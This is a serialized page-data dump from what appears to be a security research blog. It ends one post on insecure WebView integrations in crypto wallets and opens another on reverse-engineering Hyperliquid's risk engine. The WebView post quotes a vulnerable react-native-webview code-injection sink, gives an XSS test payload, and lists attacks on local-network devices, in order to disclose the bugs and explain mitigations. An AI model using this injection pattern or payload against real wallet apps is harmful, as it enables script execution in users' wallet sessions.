",{"type":23,"tag":504,"props":160005,"children":160006},{"style":5030},[160007],{"type":29,"value":36164},{"type":23,"tag":504,"props":160009,"children":160010},{"style":5041},[160011],{"type":29,"value":3110},{"type":23,"tag":504,"props":160013,"children":160014},{"style":5047},[160015],{"type":29,"value":357},{"type":23,"tag":504,"props":160017,"children":160018},{"style":5041},[160019],{"type":29,"value":160020},"longitude",{"type":23,"tag":504,"props":160022,"children":160023},{"style":5047},[160024],{"type":29,"value":357},{"type":23,"tag":504,"props":160026,"children":160027},{"style":5139},[160028],{"type":29,"value":159978},{"type":23,"tag":504,"props":160030,"children":160031},{"style":5047},[160032],{"type":29,"value":603},{"type":23,"tag":504,"props":160034,"children":160035},{"style":5083},[160036],{"type":29,"value":826},{"type":23,"tag":504,"props":160038,"children":160039},{"style":5047},[160040],{"type":29,"value":933},{"type":23,"tag":504,"props":160042,"children":160043},{"style":5030},[160044],{"type":29,"value":36196},{"type":23,"tag":504,"props":160046,"children":160047},{"style":6297},[160048],{"type":29,"value":12428},{"type":23,"tag":504,"props":160050,"children":160051},{"style":5047},[160052],{"type":29,"value":5061},{"type":23,"tag":504,"props":160054,"children":160055},{"class":5016,"line":25835},[160056,160061,160065,160069,160074,160078,160082],{"type":23,"tag":504,"props":160057,"children":160058},{"style":5047},[160059],{"type":29,"value":160060},"                }, ",{"type":23,"tag":504,"props":160062,"children":160063},{"style":5041},[160064],{"type":29,"value":50483},{"type":23,"tag":504,"props":160066,"children":160067},{"style":5030},[160068],{"type":29,"value":29806},{"type":23,"tag":504,"props":160070,"children":160071},{"style":5139},[160072],{"type":29,"value":160073}," alert",{"type":23,"tag":504,"props":160075,"children":160076},{"style":5047},[160077],{"type":29,"value":603},{"type":23,"tag":504,"props":160079,"children":160080},{"style":5041},[160081],{"type":29,"value":50483},{"type":23,"tag":504,"props":160083,"children":160084},{"style":5047},[160085],{"type":29,"value":9267},{"type":23,"tag":504,"props":160087,"children":160088},{"class":5016,"line":25872},[160089],{"type":23,"tag":504,"props":160090,"children":160091},{"style":5047},[160092],{"type":29,"value":50137},{"type":23,"tag":504,"props":160094,"children":160095},{"class":5016,"line":25885},[160096],{"type":23,"tag":504,"props":160097,"children":160098},{"emptyLinePlaceholder":15},[160099],{"type":29,"value":5734},{"type":23,"tag":504,"props":160101,"children":160102},{"class":5016,"line":25898},[160103],{"type":23,"tag":504,"props":160104,"children":160105},{"style":5047},[160106],{"type":29,"value":5394},{"type":23,"tag":504,"props":160108,"children":160109},{"class":5016,"line":25911},[160110,160115],{"type":23,"tag":504,"props":160111,"children":160112},{"style":5139},[160113],{"type":29,"value":160114},"        main",{"type":23,"tag":504,"props":160116,"children":160117},{"style":5047},[160118],{"type":29,"value":5725},{"type":23,"tag":504,"props":160120,"children":160121},{"class":5016,"line":25965},[160122,160126,160130],{"type":23,"tag":504,"props":160123,"children":160124},{"style":34431},[160125],{"type":29,"value":34884},{"type":23,"tag":504,"props":160127,"children":160128},{"style":5030},[160129],{"type":29,"value":34471},{"type":23,"tag":504,"props":160131,"children":160132},{"style":34431},[160133],{"type":29,"value":8038},{"type":23,"tag":504,"props":160135,"children":160136},{"class":5016,"line":25974},[160137,160141,160145],{"type":23,"tag":504,"props":160138,"children":160139},{"style":34431},[160140],{"type":29,"value":34485},{"type":23,"tag":504,"props":160142,"children":160143},{"style":5030},[160144],{"type":29,"value":34455},{"type":23,"tag":504,"props":160146,"children":160147},{"style":34431},[160148],{"type":29,"value":8038},{"type":23,"tag":504,"props":160150,"children":160151},{"class":5016,"line":34336},[160152,160156,160160],{"type":23,"tag":504,"props":160153,"children":160154},{"style":34431},[160155],{"type":29,"value":34485},{"type":23,"tag":504,"props":160157,"children":160158},{"style":5030},[160159],{"type":29,"value":34438},{"type":23,"tag":504,"props":160161,"children":160162},{"style":34431},[160163],{"type":29,"value":8038},{"type":23,"tag":20944,"props":160165,"children":160166},{"id":6265},[160167],{"type":29,"value":6268},{"type":23,"tag":32,"props":160169,"children":160170},{},[160171],{"type":29,"value":160172},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":32,"props":160174,"children":160175},{},[160176,160178,160184],{"type":29,"value":160177},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":68,"props":160179,"children":160182},{"href":160180,"rel":160181},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[72],[160183],{"type":29,"value":49647},{"type":29,"value":357},{"type":23,"tag":33401,"props":160186,"children":160187},{"style":33403},[160188],{"type":23,"tag":199,"props":160189,"children":160193},{"src":160190,"alt":160191,"style":160192},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":160195,"children":160196},{},[160197],{"type":29,"value":160198},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":24,"props":160200,"children":160202},{"id":160201},"local-network-access",[160203],{"type":29,"value":160204},"Local Network Access",{"type":23,"tag":32,"props":160206,"children":160207},{},[160208,160210,160217,160219,160225],{"type":29,"value":160209},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":68,"props":160211,"children":160214},{"href":160212,"rel":160213},"https://wicg.github.io/private-network-access/",[72],[160215],{"type":29,"value":160216},"Private Network Access",{"type":29,"value":160218}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":68,"props":160220,"children":160223},{"href":160221,"rel":160222},"https://x.com/taviso/status/2051310678800253318",[72],[160224],{"type":29,"value":160221},{"type":29,"value":160226},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":33401,"props":160228,"children":160229},{"style":33403},[160230],{"type":23,"tag":199,"props":160231,"children":160234},{"src":160232,"alt":160191,"style":160233},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":160236,"children":160237},{},[160238],{"type":29,"value":160239},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":160241,"props":160242,"children":160245},"zoom-image",{"src":160243,"alt":160244},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":32,"props":160247,"children":160248},{},[160249],{"type":29,"value":160250},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":1022,"props":160252,"children":160253},{},[160254,160259,160264],{"type":23,"tag":143,"props":160255,"children":160256},{},[160257],{"type":29,"value":160258},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":143,"props":160260,"children":160261},{},[160262],{"type":29,"value":160263},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":143,"props":160265,"children":160266},{},[160267],{"type":29,"value":160268},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":32,"props":160270,"children":160271},{},[160272],{"type":29,"value":160273},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":24,"props":160275,"children":160277},{"id":160276},"uxss-by-code-injection",[160278],{"type":29,"value":160279},"UXSS by Code Injection",{"type":23,"tag":32,"props":160281,"children":160282},{},[160283,160285,160291],{"type":29,"value":160284},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":154,"props":160286,"children":160288},{"className":160287},[],[160289],{"type":29,"value":160290},"injectJavascriptObject",{"type":29,"value":160292}," attribute worked. Here is the code snippet:",{"type":23,"tag":4743,"props":160294,"children":160296},{"className":158532,"code":160295,"language":158534,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[160297],{"type":23,"tag":154,"props":160298,"children":160299},{"__ignoreMap":7},[160300,160320,160349,160383,160438,160543,160555,160568],{"type":23,"tag":504,"props":160301,"children":160302},{"class":5016,"line":5017},[160303,160307,160311,160316],{"type":23,"tag":504,"props":160304,"children":160305},{"style":5030},[160306],{"type":29,"value":72846},{"type":23,"tag":504,"props":160308,"children":160309},{"style":5467},[160310],{"type":29,"value":53112},{"type":23,"tag":504,"props":160312,"children":160313},{"style":5139},[160314],{"type":29,"value":160315}," injectJavascriptObject",{"type":23,"tag":504,"props":160317,"children":160318},{"style":5058},[160319],{"type":29,"value":17783},{"type":23,"tag":504,"props":160321,"children":160322},{"class":5016,"line":4868},[160323,160327,160331,160336,160340,160345],{"type":23,"tag":504,"props":160324,"children":160325},{"style":5067},[160326],{"type":29,"value":41343},{"type":23,"tag":504,"props":160328,"children":160329},{"style":5058},[160330],{"type":29,"value":5110},{"type":23,"tag":504,"props":160332,"children":160333},{"style":5139},[160334],{"type":29,"value":160335},"getSettings",{"type":23,"tag":504,"props":160337,"children":160338},{"style":5058},[160339],{"type":29,"value":32223},{"type":23,"tag":504,"props":160341,"children":160342},{"style":5139},[160343],{"type":29,"value":160344},"getJavaScriptEnabled",{"type":23,"tag":504,"props":160346,"children":160347},{"style":5058},[160348],{"type":29,"value":94083},{"type":23,"tag":504,"props":160350,"children":160351},{"class":5016,"line":4876},[160352,160357,160362,160366,160371,160375,160379],{"type":23,"tag":504,"props":160353,"children":160354},{"style":5467},[160355],{"type":29,"value":160356},"        String",{"type":23,"tag":504,"props":160358,"children":160359},{"style":5041},[160360],{"type":29,"value":160361}," js",{"type":23,"tag":504,"props":160363,"children":160364},{"style":5047},[160365],{"type":29,"value":5050},{"type":23,"tag":504,"props":160367,"children":160368},{"style":6297},[160369],{"type":29,"value":160370}," \"(function(){",{"type":23,"tag":504,"props":160372,"children":160373},{"style":50436},[160374],{"type":29,"value":50439},{"type":23,"tag":504,"props":160376,"children":160377},{"style":6297},[160378],{"type":29,"value":22112},{"type":23,"tag":504,"props":160380,"children":160381},{"style":5047},[160382],{"type":29,"value":11834},{"type":23,"tag":504,"props":160384,"children":160385},{"class":5016,"line":5099},[160386,160391,160395,160400,160404,160409,160413,160417,160421,160426,160430,160434],{"type":23,"tag":504,"props":160387,"children":160388},{"style":6297},[160389],{"type":29,"value":160390},"          \"    window.\"",{"type":23,"tag":504,"props":160392,"children":160393},{"style":5047},[160394],{"type":29,"value":10950},{"type":23,"tag":504,"props":160396,"children":160397},{"style":5058},[160398],{"type":29,"value":160399}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":504,"props":160401,"children":160402},{"style":5047},[160403],{"type":29,"value":6422},{"type":23,"tag":504,"props":160405,"children":160406},{"style":6297},[160407],{"type":29,"value":160408}," \" = window.\"",{"type":23,"tag":504,"props":160410,"children":160411},{"style":5047},[160412],{"type":29,"value":10950},{"type":23,"tag":504,"props":160414,"children":160415},{"style":5058},[160416],{"type":29,"value":160399},{"type":23,"tag":504,"props":160418,"children":160419},{"style":5047},[160420],{"type":29,"value":6422},{"type":23,"tag":504,"props":160422,"children":160423},{"style":6297},[160424],{"type":29,"value":160425}," \" || {};",{"type":23,"tag":504,"props":160427,"children":160428},{"style":50436},[160429],{"type":29,"value":50439},{"type":23,"tag":504,"props":160431,"children":160432},{"style":6297},[160433],{"type":29,"value":22112},{"type":23,"tag":504,"props":160435,"children":160436},{"style":5047},[160437],{"type":29,"value":11834},{"type":23,"tag":504,"props":160439,"children":160440},{"class":5016,"line":5203},[160441,160445,160449,160453,160457,160462,160466,160471,160475,160479,160483,160487,160491,160495,160500,160504,160509,160513,160518,160522,160526,160531,160535,160539],{"type":23,"tag":504,"props":160442,"children":160443},{"style":6297},[160444],{"type":29,"value":160390},{"type":23,"tag":504,"props":160446,"children":160447},{"style":5047},[160448],{"type":29,"value":10950},{"type":23,"tag":504,"props":160450,"children":160451},{"style":5058},[160452],{"type":29,"value":160399},{"type":23,"tag":504,"props":160454,"children":160455},{"style":5047},[160456],{"type":29,"value":6422},{"type":23,"tag":504,"props":160458,"children":160459},{"style":6297},[160460],{"type":29,"value":160461}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":504,"props":160463,"children":160464},{"style":5047},[160465],{"type":29,"value":10950},{"type":23,"tag":504,"props":160467,"children":160468},{"style":5058},[160469],{"type":29,"value":160470}," (injectedJavaScriptObject ",{"type":23,"tag":504,"props":160472,"children":160473},{"style":5047},[160474],{"type":29,"value":1224},{"type":23,"tag":504,"props":160476,"children":160477},{"style":5030},[160478],{"type":29,"value":72333},{"type":23,"tag":504,"props":160480,"children":160481},{"style":5067},[160482],{"type":29,"value":99820},{"type":23,"tag":504,"props":160484,"children":160485},{"style":5030},[160486],{"type":29,"value":72333},{"type":23,"tag":504,"props":160488,"children":160489},{"style":5067},[160490],{"type":29,"value":37172},{"type":23,"tag":504,"props":160492,"children":160493},{"style":5058},[160494],{"type":29,"value":5110},{"type":23,"tag":504,"props":160496,"children":160497},{"style":6297},[160498],{"type":29,"value":160499},"\"`\"",{"type":23,"tag":504,"props":160501,"children":160502},{"style":5047},[160503],{"type":29,"value":10950},{"type":23,"tag":504,"props":160505,"children":160506},{"style":5058},[160507],{"type":29,"value":160508}," injectedJavaScriptObject ",{"type":23,"tag":504,"props":160510,"children":160511},{"style":5047},[160512],{"type":29,"value":6422},{"type":23,"tag":504,"props":160514,"children":160515},{"style":6297},[160516],{"type":29,"value":160517}," \"`\"",{"type":23,"tag":504,"props":160519,"children":160520},{"style":5058},[160521],{"type":29,"value":10882},{"type":23,"tag":504,"props":160523,"children":160524},{"style":5047},[160525],{"type":29,"value":6422},{"type":23,"tag":504,"props":160527,"children":160528},{"style":6297},[160529],{"type":29,"value":160530}," \"; };",{"type":23,"tag":504,"props":160532,"children":160533},{"style":50436},[160534],{"type":29,"value":50439},{"type":23,"tag":504,"props":160536,"children":160537},{"style":6297},[160538],{"type":29,"value":22112},{"type":23,"tag":504,"props":160540,"children":160541},{"style":5047},[160542],{"type":29,"value":11834},{"type":23,"tag":504,"props":160544,"children":160545},{"class":5016,"line":5308},[160546,160551],{"type":23,"tag":504,"props":160547,"children":160548},{"style":6297},[160549],{"type":29,"value":160550},"          \"})();\"",{"type":23,"tag":504,"props":160552,"children":160553},{"style":5058},[160554],{"type":29,"value":5061},{"type":23,"tag":504,"props":160556,"children":160557},{"class":5016,"line":5336},[160558,160563],{"type":23,"tag":504,"props":160559,"children":160560},{"style":5139},[160561],{"type":29,"value":160562},"        evaluateJavascriptWithFallback",{"type":23,"tag":504,"props":160564,"children":160565},{"style":5058},[160566],{"type":29,"value":160567},"(js);\n",{"type":23,"tag":504,"props":160569,"children":160570},{"class":5016,"line":5349},[160571],{"type":23,"tag":504,"props":160572,"children":160573},{"style":5058},[160574],{"type":29,"value":14710},{"type":23,"tag":32,"props":160576,"children":160577},{},[160578,160580,160586,160588,160593,160595,160601],{"type":29,"value":160579},"It basically injects a javascript code with the ",{"type":23,"tag":154,"props":160581,"children":160583},{"className":160582},[],[160584],{"type":29,"value":160585},"injectedJavascriptObject",{"type":29,"value":160587}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":154,"props":160589,"children":160591},{"className":160590},[],[160592],{"type":29,"value":160585},{"type":29,"value":160594},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":154,"props":160596,"children":160598},{"className":160597},[],[160599],{"type":29,"value":160600},"${alert(1)}",{"type":29,"value":160602}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":32,"props":160604,"children":160605},{},[160606,160608,160615],{"type":29,"value":160607},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":68,"props":160609,"children":160612},{"href":160610,"rel":160611},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[72],[160613],{"type":29,"value":160614},"PR with the report and fix",{"type":29,"value":357},{"type":23,"tag":32,"props":160617,"children":160618},{},[160619],{"type":29,"value":160620},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":32,"props":160622,"children":160623},{},[160624,160626,160632],{"type":29,"value":160625},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":154,"props":160627,"children":160629},{"className":160628},[],[160630],{"type":29,"value":160631},"injectedJavaScriptObject",{"type":29,"value":160633}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":320,"props":160635,"children":160636},{"id":4832},[160637],{"type":29,"value":4835},{"type":23,"tag":32,"props":160639,"children":160640},{},[160641],{"type":29,"value":160642},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":7410,"props":160644,"children":160645},{},[160646],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":160648},[160649,160653,160656,160657],{"id":158372,"depth":4868,"text":158375,"children":160650},[160651,160652],{"id":158383,"depth":4876,"text":158386},{"id":158458,"depth":4876,"text":158461},{"id":158491,"depth":4868,"text":158494,"children":160654},[160655],{"id":158681,"depth":4876,"text":158684},{"id":160201,"depth":4868,"text":160204},{"id":160276,"depth":4868,"text":160279,"children":160658},[160659],{"id":4832,"depth":4876,"text":4835},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":160664,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160665,"description":160666,"date":160667,"author":160668,"image":160669,"isFeatured":15,"onBlogPage":15,"tags":160673,"hideToc":15,"body":160677,"_type":4892,"_id":167316,"_source":4894,"_file":167317,"_stem":167318,"_extension":4897},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":160670,"width":160671,"height":160672},"/posts/hyperliquid-risk-engine/title.png",1456,816,[160674,160675,160676],"hyperliquid","reverse-engineering","defi",{"type":20,"children":160678,"toc":167288},[160679,160685,160693,160698,160703,160708,160720,160725,160738,160757,160763,160775,160788,160793,160824,160829,160842,160847,161038,161044,161049,161061,161067,161072,161078,161091,161125,161130,161135,161147,161153,161173,161181,161194,161200,161211,161217,161229,161234,161240,161260,161268,161274,161308,161312,161348,161353,161358,161363,161376,161413,161418,161432,161438,161443,161469,161477,161482,161510,161515,161520,161858,161863,161868,161888,161915,161920,161933,161945,161950,161955,161961,161966,161971,161985,161990,161996,162024,162061,162072,162076,162081,162086,162092,162258,162293,162298,162304,162310,162499,162512,162517,162523,162544,162549,162555,162560,162565,162577,162582,162587,162593,162598,162603,162609,162615,162628,162661,162666,165242,165510,165515,166845,166850,166855,166867,166958,166970,166975,166981,166986,166994,166999,167007,167013,167047,167058,167066,167072,167078,167083,167091,167096,167101,167109,167121,167127,167132,167138,167149,167154,167160,167165,167170,167176,167181,167184,167189,167194,167200,167205,167217,167222,167227],{"type":23,"tag":24,"props":160680,"children":160682},{"id":160681},"perpetuals",[160683],{"type":29,"value":160684},"Perpetuals",{"type":23,"tag":446,"props":160686,"children":160687},{},[160688],{"type":23,"tag":32,"props":160689,"children":160690},{},[160691],{"type":29,"value":160692},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":32,"props":160694,"children":160695},{},[160696],{"type":29,"value":160697},"What does that even have to do with reverse engineering?",{"type":23,"tag":24,"props":160699,"children":160700},{"id":160674},[160701],{"type":29,"value":160702},"Hyperliquid",{"type":23,"tag":32,"props":160704,"children":160705},{},[160706],{"type":29,"value":160707},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":32,"props":160709,"children":160710},{},[160711,160713,160718],{"type":29,"value":160712},"The node is tasked with a ",{"type":23,"tag":4321,"props":160714,"children":160715},{},[160716],{"type":29,"value":160717},"very hard problem",{"type":29,"value":160719},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":32,"props":160721,"children":160722},{},[160723],{"type":29,"value":160724},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":32,"props":160726,"children":160727},{},[160728,160730,160736],{"type":29,"value":160729},"Beyond that, the ",{"type":23,"tag":154,"props":160731,"children":160733},{"className":160732},[],[160734],{"type":29,"value":160735},"hl-node",{"type":29,"value":160737}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":32,"props":160739,"children":160740},{},[160741,160743,160748,160750,160755],{"type":29,"value":160742},"Armed with some curiosity, a good amount of ",{"type":23,"tag":4321,"props":160744,"children":160745},{},[160746],{"type":29,"value":160747},"inference",{"type":29,"value":160749},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":4321,"props":160751,"children":160752},{},[160753],{"type":29,"value":160754},"interactive interface",{"type":29,"value":160756},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":24,"props":160758,"children":160760},{"id":160759},"the-million-dollar-question",[160761],{"type":29,"value":160762},"The Million Dollar Question",{"type":23,"tag":32,"props":160764,"children":160765},{},[160766,160768,160773],{"type":29,"value":160767},"Let's say a terrible trader opens a ",{"type":23,"tag":4321,"props":160769,"children":160770},{},[160771],{"type":29,"value":160772},"50x",{"type":29,"value":160774}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":32,"props":160776,"children":160777},{},[160778,160780,160786],{"type":29,"value":160779},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":154,"props":160781,"children":160783},{"className":160782},[],[160784],{"type":29,"value":160785},"compute_margin_requirement_by_mode",{"type":29,"value":160787}," function.",{"type":23,"tag":32,"props":160789,"children":160790},{},[160791],{"type":29,"value":160792},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":160794,"props":160795,"children":160796},"tip",{},[160797],{"type":23,"tag":32,"props":160798,"children":160799},{},[160800,160802,160807,160809,160816,160818,160823],{"type":29,"value":160801},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":4321,"props":160803,"children":160804},{},[160805],{"type":29,"value":160806},"click through",{"type":29,"value":160808}," each action performed by ",{"type":23,"tag":68,"props":160810,"children":160813},{"href":160811,"rel":160812},"https://github.com/renato-osec/patina-research",[72],[160814],{"type":29,"value":160815},"our Rust reverse engineering agent",{"type":29,"value":160817},". Return to the regular view by clicking ",{"type":23,"tag":154,"props":160819,"children":160821},{"className":160820},[],[160822],{"type":29,"value":8033},{"type":29,"value":357},{"type":23,"tag":160825,"props":160826,"children":160828},"bndb-viewer-embed",{"addr":160827,"line-start":826,"line-end":136333},"0x555556bb4d20",[],{"type":23,"tag":32,"props":160830,"children":160831},{},[160832,160834,160840],{"type":29,"value":160833},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":154,"props":160835,"children":160837},{"className":160836},[],[160838],{"type":29,"value":160839},"OptionUnitQty",{"type":29,"value":160841},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":32,"props":160843,"children":160844},{},[160845],{"type":29,"value":160846},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":4743,"props":160848,"children":160849},{},[160850],{"type":23,"tag":154,"props":160851,"children":160854},{"className":160852},[500,160853],"math-display",[160855],{"type":23,"tag":504,"props":160856,"children":160859},{"className":160857},[160858],"katex-display",[160860],{"type":23,"tag":504,"props":160861,"children":160863},{"className":160862},[507],[160864],{"type":23,"tag":504,"props":160865,"children":160867},{"className":160866,"ariaHidden":513},[512],[160868,160899],{"type":23,"tag":504,"props":160869,"children":160871},{"className":160870},[518],[160872,160876,160886,160890,160895],{"type":23,"tag":504,"props":160873,"children":160875},{"className":160874,"style":2073},[523],[],{"type":23,"tag":504,"props":160877,"children":160879},{"className":160878},[529,29],[160880],{"type":23,"tag":504,"props":160881,"children":160883},{"className":160882},[529],[160884],{"type":29,"value":160885},"liq_equity",{"type":23,"tag":504,"props":160887,"children":160889},{"className":160888,"style":538},[537],[],{"type":23,"tag":504,"props":160891,"children":160893},{"className":160892},[543],[160894],{"type":29,"value":546},{"type":23,"tag":504,"props":160896,"children":160898},{"className":160897,"style":538},[537],[],{"type":23,"tag":504,"props":160900,"children":160902},{"className":160901},[518],[160903,160908],{"type":23,"tag":504,"props":160904,"children":160907},{"className":160905,"style":160906},[523],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":504,"props":160909,"children":160911},{"className":160910},[529],[160912,160916,161034],{"type":23,"tag":504,"props":160913,"children":160915},{"className":160914},[600,115344],[],{"type":23,"tag":504,"props":160917,"children":160919},{"className":160918},[115349],[160920],{"type":23,"tag":504,"props":160921,"children":160923},{"className":160922},[671,672],[160924,161022],{"type":23,"tag":504,"props":160925,"children":160927},{"className":160926},[677],[160928,161017],{"type":23,"tag":504,"props":160929,"children":160932},{"className":160930,"style":160931},[682],"height:1.427em;",[160933,160973,160984],{"type":23,"tag":504,"props":160934,"children":160936},{"style":160935},"top:-2.314em;",[160937,160941],{"type":23,"tag":504,"props":160938,"children":160940},{"className":160939,"style":113997},[692],[],{"type":23,"tag":504,"props":160942,"children":160944},{"className":160943},[529],[160945,160950,160954,160959,160963],{"type":23,"tag":504,"props":160946,"children":160948},{"className":160947},[529],[160949],{"type":29,"value":5164},{"type":23,"tag":504,"props":160951,"children":160953},{"className":160952,"style":1426},[537],[],{"type":23,"tag":504,"props":160955,"children":160957},{"className":160956},[1431],[160958],{"type":29,"value":113088},{"type":23,"tag":504,"props":160960,"children":160962},{"className":160961,"style":1426},[537],[],{"type":23,"tag":504,"props":160964,"children":160966},{"className":160965},[529,29],[160967],{"type":23,"tag":504,"props":160968,"children":160970},{"className":160969},[529],[160971],{"type":29,"value":160972},"leverage",{"type":23,"tag":504,"props":160974,"children":160975},{"style":115399},[160976,160980],{"type":23,"tag":504,"props":160977,"children":160979},{"className":160978,"style":113997},[692],[],{"type":23,"tag":504,"props":160981,"children":160983},{"className":160982,"style":115409},[115408],[],{"type":23,"tag":504,"props":160985,"children":160987},{"style":160986},"top:-3.677em;",[160988,160992],{"type":23,"tag":504,"props":160989,"children":160991},{"className":160990,"style":113997},[692],[],{"type":23,"tag":504,"props":160993,"children":160995},{"className":160994},[529],[160996,161002,161012],{"type":23,"tag":504,"props":160997,"children":160999},{"className":160998},[529],[161000],{"type":29,"value":161001},"∣",{"type":23,"tag":504,"props":161003,"children":161005},{"className":161004},[529,29],[161006],{"type":23,"tag":504,"props":161007,"children":161009},{"className":161008},[529],[161010],{"type":29,"value":161011},"notional",{"type":23,"tag":504,"props":161013,"children":161015},{"className":161014},[529],[161016],{"type":29,"value":161001},{"type":23,"tag":504,"props":161018,"children":161020},{"className":161019},[712],[161021],{"type":29,"value":715},{"type":23,"tag":504,"props":161023,"children":161025},{"className":161024},[677],[161026],{"type":23,"tag":504,"props":161027,"children":161030},{"className":161028,"style":161029},[682],"height:0.8804em;",[161031],{"type":23,"tag":504,"props":161032,"children":161033},{},[],{"type":23,"tag":504,"props":161035,"children":161037},{"className":161036},[930,115344],[],{"type":23,"tag":24,"props":161039,"children":161041},{"id":161040},"what-if-nobody-wants-to-buy-the-position",[161042],{"type":29,"value":161043},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":32,"props":161045,"children":161046},{},[161047],{"type":29,"value":161048},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive 